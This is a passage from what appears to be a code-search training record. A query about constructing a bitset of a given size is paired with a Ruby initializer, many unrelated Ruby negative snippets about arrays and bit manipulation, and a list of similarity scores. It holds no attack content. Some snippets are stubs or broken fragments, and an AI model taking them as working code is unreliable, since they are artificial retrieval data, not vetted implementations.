1ULに7個\n return [\n (ul>>54)&0x1ff,(ul>>45)&0x1ff,(ul>>36)&0x1ff,(ul>>27)&0x1ff,(ul>>18)&0x1ff,\n (ul>>9)&0x1ff,ul&0x1ff\n ]\n elsif bit_depth==10 then\n # 1ULに6個, MSBは0000\n return [\n (ul>>50)&0x3ff,(ul>>40)&0x3ff,(ul>>30)&0x3ff,(ul>>20)&0x3ff,(ul>>10)&0x3ff,\n ul&0x3ff\n ]\n else\n throw \"bit depth not supported\"\n end\n\nend\n\n#\n#\n#\n\na=JSON.parse(File.open(\"pkt6.txt\").read())\n\nprint \"x:\", a[\"x\"], \" z:\", a[\"z\"], \" gu:\", a[\"groundUp\"], \"\\n\"\nbitmap = a[\"bitMap\"]\nbit_ary = bm2ary(bitmap)\nsection_num = bit_ary.count(1)\nprint \"bit_ary:\", bit_ary.join(\",\"),\" section_num:\",section_num, \"\\n\"\nouthm=la2hm(a[\"heightmaps\"][\"value\"][\"MOTION_BLOCKING\"][\"value\"])\nouthm.each_slice(16) do |row| print \"hm:\", row, \"\\n\" end\n\ndata=a[\"chunkData\"][\"data\"]\nprint \"ary size:\",data.size,\"\\n\"\n\n# [5, 234, 4, 14, [ 0, 33, 1, 2, vi(174, 30), 6, vi(154, 26), 70, vi(186, 61), 14, vi(243, 15), vi(255, 15), vi(226, 65), vi(157, 65), vi(128, 2), 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 1\n\n# java -cp server_1.16.5.jar net.minecraft.data.Main --all\n\nblocks=JSON.parse(File.open(\"blocks_1.16.5.json\").read())\n$id2key={}\nblocks.keys.each do |key|\n blocks[key][\"states\"].each do |state|\n $id2key[state[\"id\"]]=key\n end\nend\n\ndef readChunkArray(data,secnum)\n ofs=0\n\n secnum.times do |si|\n print \"reading section #{si}\\n\"\n\n block_num=to_s16(data,ofs)\n print \"#{ofs} block num:\",block_num,\"\\n\"\n ofs+=2\n\n bit_depth=data[ofs]\n print \"#{ofs} bit_depth:\",bit_depth,\"\\n\"\n ofs+=1\n \n palette_len,inc = to_vui(data,ofs)\n print \"#{ofs} palette_len:\",palette_len,\", inc:\",inc,\"\\n\"\n ofs+=inc\n\n palette_len.times do |i|\n ui,inc=to_vui(data,ofs)\n print \"#{ofs} palette[#{i}]:\",ui,\" key:\",$id2key[ui], \", inc:\",inc,\"\\n\"\n ofs+=inc\n end\n\n # 4bitのときは256 (64x256/4=4096)\n # 5bitのときは342 (64x342/4=5472)だいぶオーバーしてる。 https://wiki.vg/Protocolによると頭の4ビットは0だと。\n # 60ビットだけが使われるので、 long1個あたりでは 12ブロック。よって、342*12=4104.\n # 6bitのときは410. long1個あたりでは10ブロック。よって4100\n # ルールは一応わかったかな。\n data_array_len_long,inc = to_vui(data,ofs) \n print \"#{ofs} data_array_len_long:\",data_array_len_long,\", inc:\",inc,\"\\n\"\n ofs+=inc\n\n blocks=[]\n data_array_len_long.times do |i|\n ul=to_l(data,ofs) # sprintf(\"%016x\",ul)\n blocks+=ul2blocks(ul,bit_depth)\n ofs+=8\n end\n blocks=blocks.slice(0,4096)\n print \"#{ofs} blocks:\", blocks.size, \" \", blocks, \"\\n\"\n end\n print \"final ofs:\",ofs, \"\\n\"\n throw \"bug!!\" if ofs != data.size\nend\n\nreadChunkArray(data,section_num)\n \n#print data\n\n\n",
"def initialize(major, minor, tiny, pre = T.unsafe(nil)); end",
"def initialize(n:, values: Array.new(n**2))\n raise ArgumentError if values.size != n**2\n @n = n\n @values = values\n @rows = Array.new(n) do |i|\n start = i * n\n values[start...start+n]\n end\n @columns = Array.new(n) do |x|\n Array.new(n) { |i| values[i * n + x] }\n end\n @blocks = Array.new(n) do |i|\n idx = i % root_n * root_n + (i / root_n) * n * root_n\n block = []\n root_n.times do |y_offset|\n root_n.times do |x_offset|\n block << values[idx + x_offset + y_offset * n]\n end\n end\n block\n end\n end",
"def addToShortArray(short_array, long_array)\n\tresult = []\n\ti = 0\n\twhile i < short_array.length do\n\t\tresult << short_array[i] + long_array[i]\n\t\ti += 1\n\tend\n\treturn result\nend",
"def initialize(*values)\n @length = 0\n values.each do |value|\n add(value)\n end\n end",
"def initialize array_of_items\n\tend",
"def initialize\t\n\n\t @number = Array.new\n\n\t 10.times do |i|\n\t i += 1\n\t @number << i\n\t end\n\n\t\t#select a random element from that array as the secret number\n\t @number = @number[rand(number.length)]\n \tend",
"def initialize(arr = 0)\n if ::Array === arr\n super(arr.map{|v| ::Array === v ? self.class.new(v) : v})\n else\n super\n end\n end",
"def initialize(mesa, *recaudacion) #* toma varios argumentos y permite trabajar con ellos separados pero todos a la vez\n @mesa = mesa\n @recaudacion = recaudacion.map(&:to_i) # todos pasan a entero :& \n end",
"def initialize(len, scale); @len = len; @scale = scale end",
"def initialize(array:)\n @array = array\n super()\n end",
"def initialize(q, r, l, total_no_of_bits)\r\n @q = q\r\n @r = r\r\n @l = l\r\n @total_no_of_bits = total_no_of_bits\r\n initial_sequence = generate_initial_bit_sequence()\r\n @total_sequence = generate_total_bit_sequence(initial_sequence)\r\n end",
"def put_int_array(arr)\n put_int arr.length, *arr\n self\n end",
"def initialize(thing = [])\n if thing.is_a?(Integer) || thing.is_a?(String)\n @id = thing\n @strands = []\n load\n self.class.active[@id.to_i] = self\n else\n thing = [thing] unless thing.is_a?(Array)\n @strands = thing\n compile\n end\n end",
"def features_simple_longint_modular(A=matrix)\n a=LongIntFeatures(A)\n\nend",
"def initialize(dimensions = [8,8])\n @dimensions = dimensions\n @data = Array.new(size)\n end",
"def initialize\n @tiles = []\n 1.upto(15) { |i| @tiles[i] = Array.new }\n end",
"def pack tl, tm, th, ch, cl, n\nraw = [tl, tm, th, ch, cl, n].pack \"NnnCCa6\"\nret = new raw\nret.freeze\nret\nend",
"def big_numbers(array_of_integers)\n # TODO\nend",
"def set_size(nwords)\n newbits = Array.typed(::Java::Long).new(nwords) { 0 }\n n = Math.min(nwords, @bits.attr_length)\n System.arraycopy(@bits, 0, newbits, 0, n)\n @bits = newbits\n end",
"def __initialize_with(val)\n val.each { |v| new(v) }\n end",
"def initialize(la1, la5, la15)\n @la1, @la5, @la15 = la1, la5, la15\n end",
"def build_array(param1, param2, param3)\n\t[param1, param2, param3]\nend",
"def initialize\n @type = LENGTH\n @value = UNSET\n @value_list = [SHORT, LONG].freeze\n end",
"def build_array(length)\n return_array = []\n length.times do\n return_array << rand(100)\n end\n return return_array\nend",
"def build_array\n arr = []\n yield(arr)\n arr \n end",
"def initialize(new_array)\n\t\t@list = new_array\n\tend",
"def initialize(array)\n @status, @headers, @body = *array\n end",
"def initialize(size)\n #@arr = [1,2,3]\n @arr = Array.new(size)\n @size = size\n @start_index = 0\n @end_index = 0\n end",
"def from_a(array,nrows=-1,ncols=-1,column_major=true)\n if nrows == -1 && ncols == -1\n nrows = rows\n ncols = cols\n elsif nrows == -1\n nrows = array.size / ncols\n elsif ncols == -1\n ncols = array.size / nrows\n end\n resize(nrows,ncols)\n array.each_index do |i|\n v = array[i]\n if !v\n v = 0.0\n end\n if column_major\n self[i%nrows,i/nrows] = v\n else\n self[i/ncols,i%ncols] = v\n end\n end\n end"
] |
[
"0.60069525",
"0.58877397",
"0.5878224",
"0.57672554",
"0.5511404",
"0.54274803",
"0.53788567",
"0.531438",
"0.527068",
"0.5234365",
"0.52026165",
"0.518435",
"0.5168359",
"0.5159016",
"0.5156755",
"0.51354325",
"0.5133837",
"0.5097448",
"0.5056036",
"0.50392073",
"0.50159526",
"0.5013816",
"0.5008883",
"0.49993733",
"0.49951938",
"0.4974044",
"0.4973851",
"0.4973573",
"0.49683547",
"0.4965679",
"0.49324954",
"0.49224257",
"0.48825872",
"0.48529747",
"0.48528847",
"0.4852081",
"0.48510438",
"0.48316708",
"0.48131093",
"0.48079613",
"0.4807849",
"0.4804948",
"0.48045164",
"0.47986993",
"0.47882813",
"0.47881716",
"0.4782253",
"0.4780598",
"0.47774398",
"0.4775578",
"0.47693223",
"0.47669095",
"0.47635427",
"0.47555634",
"0.47394222",
"0.47392112",
"0.473202",
"0.47262773",
"0.47192234",
"0.4718245",
"0.47163177",
"0.47142816",
"0.47138354",
"0.47020096",
"0.4699958",
"0.46966353",
"0.46957296",
"0.46940047",
"0.46893924",
"0.4689217",
"0.46868473",
"0.46861804",
"0.4677555",
"0.46706823",
"0.46676704",
"0.4661125",
"0.46602076",
"0.46492064",
"0.4627301",
"0.4623972",
"0.4623699",
"0.4622387",
"0.46220973",
"0.46218044",
"0.46205398",
"0.46061623",
"0.4604069",
"0.45993453",
"0.45945802",
"0.45896685",
"0.458771",
"0.45861104",
"0.45832652",
"0.45727792",
"0.45660916",
"0.45647448",
"0.45588738",
"0.4557428",
"0.45549783",
"0.45539376",
"0.45530188"
] |
0.0
|
-1
|
Construct a bitset given the size
|
def initialize(nbits)
@bits = nil
@bits = Array.typed(::Java::Long).new(((nbits - 1) >> LOG_BITS) + 1) { 0 }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize (size)\n @@wordBits = 0.size * 8 # size of a word on your machine\n @wordMax = 2**@@wordBits\n @xorMask = @wordMax - 1\n @bitMask = [] # to speed things up precompute index masks\n @@wordBits.times { |i| @bitMask[i] = 1 << i }\n @size = size\t \n @words = (@size / @@wordBits) + [@size % @@wordBits, 1].min\n @bits = Array.new(@words, 0)\n end",
"def initialize(size)\n @bits = 0\n @size = size\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def empty_bits(_options = {})\n array_span = (0..(size - 1)).to_a\n empty_bits = array_span - used_bits\n empty_bits\n end",
"def init_bitarray(max_bits)\n\t\t@bitmap = Array.new(max_bits, 0) # create a new array with the max size and initialize it to zero\n\tend",
"def initialize\n initialize__bit_set(BITS)\n end",
"def set_size(nwords)\n newbits = Array.typed(::Java::Long).new(nwords) { 0 }\n n = Math.min(nwords, @bits.attr_length)\n System.arraycopy(@bits, 0, newbits, 0, n)\n @bits = newbits\n end",
"def to_bit_array\n BitMapping.number_to_bit_array(number)\n end",
"def bit_small; @bit_small ||= gbit(8) end",
"def bit_set_size\n @bit_set.size\n end",
"def f size\n\t\tmasks = (size-1).downto(0).map{|s|\n\t\t\t2 ** s \n\t\t}\n\t\t(2 ** size).times.map{|x|\n\t\t\tmasks.map{|mask|(x & mask)==0}\n\t\t\t}\n\tend",
"def create_binary_search_tree(size)\n\t\tarray_of_nums = (0..size).to_a.shuffle\n\t\tnew_tree = BinarySearchTree.new\n\t\tarray_of_nums.each do |num|\n\t\t\tnew_tree.insert(num)\n\t\tend\n\t\treturn new_tree\n\tend",
"def <<(bits)\n value = @value * (2**bits.to_i)\n if (bounded?)\n self.class.new(value & self.mask, @length)\n else\n self.class.new(value)\n end\n end",
"def bitarray(n) \n b=Array::new \n i=0 \n v=n\n while v > 0\n b[i] = (0x1 & v)\n v = v/2\n i = i + 1\n end\n return b\n end",
"def set_carry_flag_from(expected_value, size)\n\t\t@flags.set_bit_at(CARRY_FLAG, (\n\t\t\tif size == 16\n\t\t\t\t(expected_value & 0xFFFFFFFF) > 0xFFFF || expected_value < 0 ? 1 : 0\n\t\t\telse\n\t\t\t\t(expected_value & 0xFFFFFFFF) > 0xFF || expected_value < 0 ? 1 : 0\n\t\t\tend\n\t\t))\n\tend",
"def to_set_bit_position_array\n BitMapping.number_to_set_bit_positions_array(number)\n end",
"def generate(size)\r\n if self.bits_per_symbol == 1\r\n return self.class.bitstream(size: size, p_0: @p_0, p_1: @p_1, random_generator: @random_generator)\r\n else\r\n signal = []\r\n size.times do \r\n signal << self.class.bitstream(size: @bits_per_symbol, p_0: @p_0, p_1: @p_1, random_generator: @random_generator)\r\n end\r\n return signal\r\n end\r\n end",
"def get_bitset(col)\n @vc.get_bitset(@f.object.class, col)\n end",
"def bbpFromSize(size)\n\n bbp(size.width, size.height)\n end",
"def initialize(size)\n @cells = []\n for i in 1..size\n new_cell = Cell.new(false)\n @cells << new_cell\n end # end cell initialization loop\n\n end",
"def initialize(*initial_bits)\n @bits = initial_bits.map {|bit| convert_bit(bit) }.inject(:+) || 0\n\n @set_indexes = []\n @set_indexes += initial_bits.uniq if initial_bits\n end",
"def generate_mask(palette_size)\n number_one_bits_array = Array.new(Math.log(palette_size, 2).ceil) { |index| (palette_size - 1) >> index & 1 }\n number_one_bits = number_one_bits_array.reduce(0) { |num, one_bit| num += one_bit }\n raise \"Invalid pallette size\" if number_one_bits & (number_one_bits - 1) != 0 or palette_size & (palette_size - 1) != 0 or palette_size <= 1\n palette_size - 1\n end",
"def to_binary_string(min_length = 0)\n BitMapping.number_to_binary_string(number, min_length)\n end",
"def initialize(size = 2)\n raise ArgumentError if size < 1\n @pool = size\n end",
"def ones(size, dtype = :float64)\n NMatrix.new([size,1], 1, dtype: dtype)\n end",
"def used_bits(_options = {})\n used_bits = []\n named_bits do |_name, bit|\n used_bits << bit.position if bit.size == 1\n if bit.size > 1\n used_bits << ((bit.position)..(bit.position + bit.size - 1)).to_a\n end\n end\n used_bits.flatten!\n used_bits.sort!\n used_bits\n end",
"def add_bus(id, position, size, options = {}) # :nodoc:\n default_data = 0\n size.times do |n|\n default_data |= @bits[position + n].data << n\n end\n options = { data: default_data, # If undefined preserve any data/reset value that has\n res: default_data # already been applied at reg level\n }.merge(options)\n\n @lookup[id] = { pos: position, bits: size }\n size.times do |n|\n bit_options = options.dup\n bit_options[:data] = options[:data][n]\n if options[:res].is_a?(Symbol)\n bit_options[:res] = options[:res]\n else\n bit_options[:res] = options[:res][n]\n end\n @bits.delete_at(position + n)\n @bits.insert(position + n, Bit.new(self, position + n, bit_options))\n end\n self\n end",
"def checkBitSet( i, bitfield )\n bitfield & (1<<i)\n end",
"def set_binary_mode size=nil\n set_text_mode size\n end",
"def queens_size\n # Special case to handle a bitset of 64 bits\n if @size == 8\n bits = 0\n (@size * @size).times { |i|\n if @state[i]\n bits += 1\n end\n }\n return bits\n end\n\n return @state.cardinality\n end",
"def initialize(size)\n @size = size\n end",
"def test_005_bounded?()\n TestVals.each do |sVal|\n bs = BitString.new(sVal)\n assert(! bs.bounded?)\n bs = BitString.new(sVal, sVal.length)\n assert(bs.bounded?)\n bs = BitString.new(sVal.length) { |i| sVal.reverse[i,1].to_i }\n assert(bs.bounded?)\n end\n end",
"def number_to_bit_array(number, minimum_binary_places = 0)\n assert_non_negative(number)\n array = []\n while number > 0\n array << (number & 1)\n number >>= 1\n end\n array.reverse!\n zero_pad_count = minimum_binary_places - array.size\n zero_pad_count.times { array.unshift(0) }\n array\n end",
"def initialize(size)\n @size = size\n @buffer = []\n end",
"def empty_bits?(_options = {})\n empty_bits.size > 0\n end",
"def [](i)\n raise ArgumentError, 'Invalid bit index' unless i >= 0 && i < size\n byte_i = i / 8\n bit_i = i % 8\n @bytes[byte_i] & (0x80 >> bit_i) > 0 ? 1 : 0\n end",
"def ffs(options = {:length => 0x1})\n check_value 0xFFFFFFFF, options\n end",
"def random_bits(random_generator:, n_bits:)\n bits = 0\n random_generator.call(((n_bits - 1) / 8) + 1).unpack('C*').each_with_index { |byte, i| bits |= byte << (8 * i) }\n bits & ((1 << n_bits) - 1) # throw away the bits we do not need\n end",
"def determine_bit_depth\n case size\n when 1..2 then 1\n when 3..4 then 2\n when 5..16 then 4\n when 17..256 then 8\n end\n end",
"def set(bit, value = true)\n if value\n @bits = union convert_bit(bit)\n @set_indexes << bit unless @set_indexes.include?(bit)\n elsif set?(bit)\n @bits = xor convert_bit(bit)\n @set_indexes.delete(bit)\n end\n\n @bits\n end",
"def hex_to_binary(size=16)\n raise RuntimeError, \"Data is not valid Hexadecimal: #{self}\" unless self.is_hexadecimal?\n\n self.hex.to_s(base=2).rjust(size, \"0\")\n end",
"def bit_shift_count_for(operand, size)\n\t\toperand.v_bit.zero? ? 1 : (@cx.low > size ? size : @cx.low)\n\tend",
"def aes_bit(vector, n)\n (vector >> n) & 1\n end",
"def get_set(key_size, unique_values)\n unique_values.repeated_permutation(key_size).to_a\nend",
"def construct_bitboard(grid, player_num)\n board = 0b0000000000000000000000000000000000000000000000000000000000000000\n\n counter = 1\n (1..8).each do |col|\n (1..8).each do |row|\n if grid.getValue(col-1, 8-row) == player_num\n board = @masks[counter] | board\n end\n counter = counter + 1\n end\n end\n printf(\"For #{player_num}: Bitboard %b \\n\", board)\n return board\n end",
"def set_next(value)\n increase_length\n\n new_index = (@index + 1) % @size\n previous = @bit_set.set(new_index, value == true) ? 1 : 0\n current = value == true ? 1 : 0\n\n\n @index = new_index\n @cardinality = @cardinality - previous + current\n end",
"def create_board(size)\n return (0...size).map{|b| (0...size).map{|bb| 0}}\n end",
"def copy_all(reg)\n if reg.respond_to?(:contains_bits?) && reg.contains_bits?\n unless reg.size == size\n puts 'Bit collection copy must be performed on collections of the same size.'\n puts 'You can fix this by calling copy on a subset of the bits you require, e.g.'\n puts ' larger_bit_collection[3..0].copy_all(smaller_bit_collection)'\n puts\n fail 'Mismatched size for bit collection copy'\n end\n # safely handle collections with differing with_bit_order settings\n with_lsb0 do\n reg.shift_out_with_index do |source_bit, i|\n if source_bit\n self[i].overlay(source_bit.overlay_str) if source_bit.has_overlay?\n self[i].write(source_bit.data)\n\n self[i].read if source_bit.is_to_be_read?\n self[i].store if source_bit.is_to_be_stored?\n end\n end\n end # of with_lsb0\n else\n write(reg)\n clear_flags\n end\n self\n end",
"def [](index)\n @bits[index/@@wordBits] & @bitMask[index % @@wordBits] > 0 ? 1 : 0\n end",
"def generate_values(size)\n values = []\n \n var_masks = (0...size).to_a.reverse.map {|i| 2**i }\n \n 0.upto((2**size) - 1) do |cnt_mask|\n values << var_masks.map {|var_mask| (var_mask & cnt_mask) == var_mask }\n end\n \n return values\n end",
"def set_logical_flags_from(actual_value, size)\n\t\t@flags.set_bit_at(OVERFLOW_FLAG, 0)\n\t\t@flags.set_bit_at(CARRY_FLAG, 0)\n\t\tset_zero_flag_from actual_value\n\t\tset_sign_flag_from actual_value, size - 1\n\t\tset_parity_flag_from actual_value, size\n\tend",
"def to_multi_bit( val, array_size=-1 )\n array_size = Integer(array_size) unless array_size.kind_of?(Integer)\n if val == '' then\n val = '0'\n end\n begin\n val = Integer(val).to_s(2)\n rescue => e\n raise ParameterError, \"#{__method__} contains invalid string for number\"\n end\n\n arr = val.scan(/./).map{ |b| b.to_i(2) }\n return arr if array_size < 0\n return _fit_array_length( arr, array_size )\n end",
"def []=(i, v)\n raise ArgumentError, 'Invalid bit index' unless i >= 0 && i < size\n byte_i = i / 8\n bit_i = i % 8\n if !v || v == 0\n # clear bit\n @bytes[byte_i] = @bytes[byte_i] & (0xff ^ (0x80 >> bit_i))\n else\n # set bit\n @bytes[byte_i] = @bytes[byte_i] | (0x80 >> bit_i)\n end\n v\n end",
"def _to_bit_string(i, min_width=0)\n hexed = i.to_s(16)\n padded = true if hexed.length % 2 == 1 # prepend 0\n bitstring = [(padded ? \"0#{hexed}\" : hexed)].pack(\"H*\").unpack(\"B*\").first\n bitstring = bitstring[4,bitstring.length - 4] if padded\n (\"0\" * [min_width - bitstring.length, 0].max) + bitstring\n end",
"def convert_one_hot(corpus, vocab_size)\n n = corpus.shape[0]\n\n if corpus.ndim == 1\n one_hot = Numo::UInt32.zeros(n, vocab_size)\n corpus.each_with_index do |word_id, idx|\n one_hot[idx, word_id] = 1\n end\n elsif corpus.ndim == 2\n c = corpus.shape[1]\n one_hot = Numo::UInt32.zeros(n, c, vocab_size)\n\n n.times do |idx0|\n word_ids = corpus[idx0, true]\n word_ids.each_with_index do |word_id, idx1|\n one_hot[idx0, idx1, word_id] = 1\n end\n end\n end\n\n one_hot\nend",
"def bits_set\n (\"%b\" % self).count('1')\n #to_s(2).count('1') # alternative\n #count = 0 # alternative\n #byte = self.abs\n #count += byte & 1 and byte >>= 1 until byte == 0 # cf. http://snippets.dzone.com/posts/show/4233\n #count\n end",
"def set_type_size(sz, signed = false)\n tname = \"#{signed ? \"\" : \"U\"}Int#{sz}\"\n t = eval tname\n raise \"unsupported bitfield type #{tname}\" unless t\n @type = t\n @signed = signed\n return sz\n end",
"def initialize(size, rank = 0)\n @size, self.rank = size, rank\n @last = (1 << size) - 1\n end",
"def allocate_bin(options)\n return nil if config.bins.empty?\n if store['pointers']['bin'] == 'done'\n reclaim_bin(options)\n else\n b = config.bins.include.next(after: @last_bin, size: options[:size])\n @last_bin = nil\n while b && (store['manually_assigned']['bin'][b.to_s] || config.bins.exclude.include?(b))\n b = config.bins.include.next(size: options[:size])\n end\n # When no bin is returned it means we have used them all, all future generation\n # now switches to reclaim mode\n if b\n store['pointers']['bin'] = b\n else\n store['pointers']['bin'] = 'done'\n reclaim_bin(options)\n end\n end\n end",
"def pad!(size, value = nil)\n (size - self.length).times { self << value }\n self\n end",
"def pad!(size, value = nil)\n (size - self.length).times { self << value }\n self\n end",
"def build_check_box(unchecked_value, options); end",
"def canonic_size( size )\n if canonic_type == :decimal && size.is_a?( Integer )\n [ size, 0 ]\n else\n size\n end\n end",
"def initialize(size)\n @data = 0\n @size = size\n end",
"def initialize(size)\n self.store = StaticArray.new(size)\n self.capacity = size\n self.start_idx = 0\n self.length = 0\n end",
"def test_013_shrink()\n TestVals.each do |sVal|\n nBits = [9, sVal.length].min + 1\n bs = BitString.new(sVal)\n assert_raise(IndexError) do\n bs.shrink(-nBits)\n end\n assert_raise(IndexError) do\n bs.shrink!(-nBits)\n end\n assert_raise(RuntimeError) do\n bs.shrink(nBits)\n end\n assert_raise(RuntimeError) do\n bs.shrink!(nBits)\n end\n bs = BitString.new(sVal, sVal.length)\n assert_raise(RuntimeError) do\n bs.shrink(sVal.length)\n end\n assert_raise(RuntimeError) do\n bs.shrink!(sVal.length)\n end\n\n #\n # Loop for the default value.\n #\n [ nil, 0, 1 ].each do |defval|\n bcmd = \"bs.shrink(#{nBits}\"\n [ nil, 'BitString::HIGH_END', 'BitString::LOW_END' ].each do |dir|\n cmd = bcmd\n cmd += \", #{dir}\" unless (dir.nil?)\n cmd += ')'\n idir = dir\n eval(\"idir = #{dir}\") unless (dir.nil?)\n #\n # Create the base bitstring, and then get the shrunken copy\n #\n bs = BitString.new(sVal, sVal.length)\n tbs = eval(cmd)\n cmd2 = cmd.sub(/(shrink)\\(/, '\\1!(')\n eval(cmd2)\n cmd.sub!(/^bs/, '')\n cmd2.sub!(/^bs/, '')\n assert_equal(sVal.length - nBits,\n tbs.length,\n \"Test '#{sVal}'#{cmd}.length (#{tbs.to_s})\")\n assert_equal(sVal.length - nBits,\n bs.length,\n \"Test '#{sVal}'#{cmd2}.length (#{bs.to_s})\")\n newLength = sVal.length - nBits\n if (idir.nil? || (idir == BitString::HIGH_END))\n #\n # shrink(nBits)\n # shrink(nBits, BitString::HIGH_END)\n #\n assert_equal(sVal[nBits,newLength].to_i(2), \n tbs.to_i,\n \"Test '#{sVal}'#{cmd} properly truncates \" +\n \"high (#{tbs.to_s})\")\n assert_equal(sVal[nBits,newLength].to_i(2),\n bs.to_i,\n \"Test '#{sVal}'#{cmd2} properly truncates \" +\n \"high (#{bs.to_s})\")\n\n elsif (idir == BitString::LOW_END)\n #\n # shrink(nBits, BitString::LOW_END)\n #\n assert_equal(sVal[0,newLength].to_i(2),\n tbs.to_i,\n \"Test '#{sVal}'#{cmd} properly shifts \" +\n \"low (#{tbs.to_s})\")\n assert_equal(sVal[0,newLength].to_i(2),\n bs.to_i,\n \"Test '#{sVal}'#{cmd2} properly shifts \" +\n \"low (#{bs.to_s})\")\n else\n assert(false, \"Missed case '#{sVal}'#{cmd}\\n\" +\n \"sVal=#{tbs.to_s}\\n\" +\n \"dir=#{dir.inspect}\")\n end\n end\n end\n end\n end",
"def set_bits(n, m, i, j)\n #Reset N's bits to zero from i to j(backwards starting with 0)\n #Set M's bit to N starting from j\n\n max = ~0\n #1's till position j, then zeroes\n left_bits = max - ((1<<j)-1)\n right_bits = ((1<<i)-1)\n mask = left_bits | right_bits\n (n & mask) | (m << i)\nend",
"def cache_all_boxes_sized(size)\n raise \"cache_all_boxes_sized called with (#{size})\" if size < 1\n smaller_boxes = boxes_of_size(size - 1)\n\n # for each flavor\n @utils.all_flavors.each do |flavor|\n # build a new box from each smaller box:\n smaller_boxes.each_value do |box|\n new_box = Cookies::CookieBox.copy_from(box) # clone and build from here\n new_box.add(flavor, 1)\n\n next unless new_box.valid? # if it makes an invalid, don't make it\n next unless boxes_of_size(size)[new_box.key].nil? # ignore if already cached\n\n boxes_of_size(size)[new_box.key] = new_box\n end\n end\n end",
"def setup(capacity=MIN_SIZE, max=MAX_ENTRIES, size=0)\n @capacity = capacity\n @mask = capacity - 1\n @max = max\n @size = size\n @entries = Rubinius::Tuple.new capacity\n end",
"def boolean_to_binary(array)\nend",
"def stringy_options(size, beginning=1)\n numbers = ''\n size.times do |index|\n if beginning == 1\n index.even? ? numbers << '1' : numbers << '0'\n else\n index.even? ? numbers << '0' : numbers << '1'\n end\n end\n numbers\nend",
"def create_array_new(size)\n Array.new(size) { Array.new(size) { '0' } }\nend",
"def read_bit_array(num_bits)\n size = (num_bits + 7) / 8\n data = read_and_advance(size)\n bit_array = BinData::Array.new(type: :bit1, initial_length: size * 8)\n bit_array.read(data).to_ary\n end",
"def initialize(size)\n @grid = Array.new(size) {Array.new(size, :N)}\n @size = size * size\n end",
"def bits()\n return(NetAddr.mask_to_bits(@netmask))\n end",
"def initialize(size)\n @size = size\n @content = initialize_content\n end",
"def initialize(size)\n @size = get_good_size(size)\n @table = Array.new @size\n @population = 0\n @used_spaces = 0\n end",
"def from_bits(low, high)\n decimal = allocate\n decimal.send(:set_bits, low, high)\n decimal\n end",
"def __from_i(k, n)\n\t\t\tif n < 0 then\n\t\t\t\traise RangeError\n\t\t\tend\n\t\t\tif (k >> (n * 8)) != 0 then\n\t\t\t\traise RangeError\n\t\t\tend\n\t\t\tbytes = Array.new(n)\n\t\t\tn.times do |i|\n\t\t\t\tbytes[i] = k >> (n - i - 1) * 8 & 0xFF\n\t\t\tend\n\t\t\treturn Buffer.__new__(bytes)\n\t\tend",
"def mask_to_bits(nm)\n\t\tmask = 32\n\t\tmask.times do\n if ( (nm & 1) == 1)\n break\n end\n\t\t\tnm = nm >> 1\n\t\t\tmask = mask - 1\n\t\tend\n\t\treturn(mask)\n\tend",
"def mask_to_bits(nm)\n\t\tmask = 32\n\t\tmask.times do\n if ( (nm & 1) == 1)\n break\n end\n\t\t\tnm = nm >> 1\n\t\t\tmask = mask - 1\n\t\tend\n\t\treturn(mask)\n\tend",
"def create_digest(string, bit_size)\n Digest::SHA1.hexdigest(string).hex.to_s(2).rjust(40*4, '0')[0..bit_size-1].to_i(2)\nend",
"def BIT(address:)\n tmp = @accumulator & @ram[address]\n tmp.zero? ? set_flag(SR_ZERO) : clear_flag(SR_ZERO)\n (tmp & SR_NEGATIVE).zero? ? clear_flag(SR_NEGATIVE) : set_flag(SR_NEGATIVE)\n (tmp & SR_OVERFLOW).zero? ? clear_flag(SR_OVERFLOW) : set_flag(SR_OVERFLOW)\n end",
"def createArray(size)\n\treturn Array.new(size) {rand(1..1000)};\nend",
"def initialize(size=DEFAULT_TABLE_SIZE)\n @table = HashTable.new(size)\n end",
"def binary_to_int(n)\n bitset = Array.new()\n while (n > 0) do\n x = largest_power_of_2(n)\n if (x != nil)\n bitset[x] = 1\n n -= BASE ** x\n end\n end\n bitset.map! { |x| \n if (x == nil) \n x = 0\n else\n x = 1\n end\n }\n return bitset\nend",
"def grow_to_include(bit)\n new_size = Math.max(@bits.attr_length << 1, num_words_to_hold(bit))\n newbits = Array.typed(::Java::Long).new(new_size) { 0 }\n System.arraycopy(@bits, 0, newbits, 0, @bits.attr_length)\n @bits = newbits\n end",
"def read(bits=nil)\n bits ||= word_size\n binary = []\n\n bits.times do |i|\n block_index, bit_index = @pointer.divmod(8)\n data = @blocks[block_index] || 0\n binary << (((data >> (7 - bit_index)) & 1) == 1)\n @pointer += 1\n end\n\n binary.map{|b| b ? '1' : '0' }.join.to_i(2)\n end",
"def generate_password_bits\n # row E D C B\n bits = 0b00000_00000_00000_00000\n\n # Determine the boss bits (bits 1-20)\n bits |= @bubble_man ? 0b00000_00000_00100_00000 : 0b00000_00001_00000_00000 # C3 / D1\n bits |= @air_man ? 0b00000_00010_00000_00000 : 0b00100_00000_00000_00000 # D2 / E3\n bits |= @quick_man ? 0b00000_00000_01000_00000 : 0b00000_00000_00000_01000 # C4 / B4\n bits |= @wood_man ? 0b00000_00000_00000_10000 : 0b00000_00100_00000_00000 # B5 / D3\n bits |= @crash_man ? 0b00010_00000_00000_00000 : 0b00000_00000_10000_00000 # E2 / C5\n bits |= @flash_man ? 0b01000_00000_00000_00000 : 0b00000_00000_00001_00000 # E4 / C1\n bits |= @metal_man ? 0b00001_00000_00000_00000 : 0b10000_00000_00000_00000 # E1 / E5\n bits |= @heat_man ? 0b00000_10000_00000_00000 : 0b00000_00000_00000_00010 # D5 / B2\n\n # Rotate bits left based on the number of E-Tanks\n bits = rotate_left(bits, @e_tanks)\n\n # Set the E-Tank bits\n bits |= (1 << 20 + @e_tanks)\n\n bits\n end",
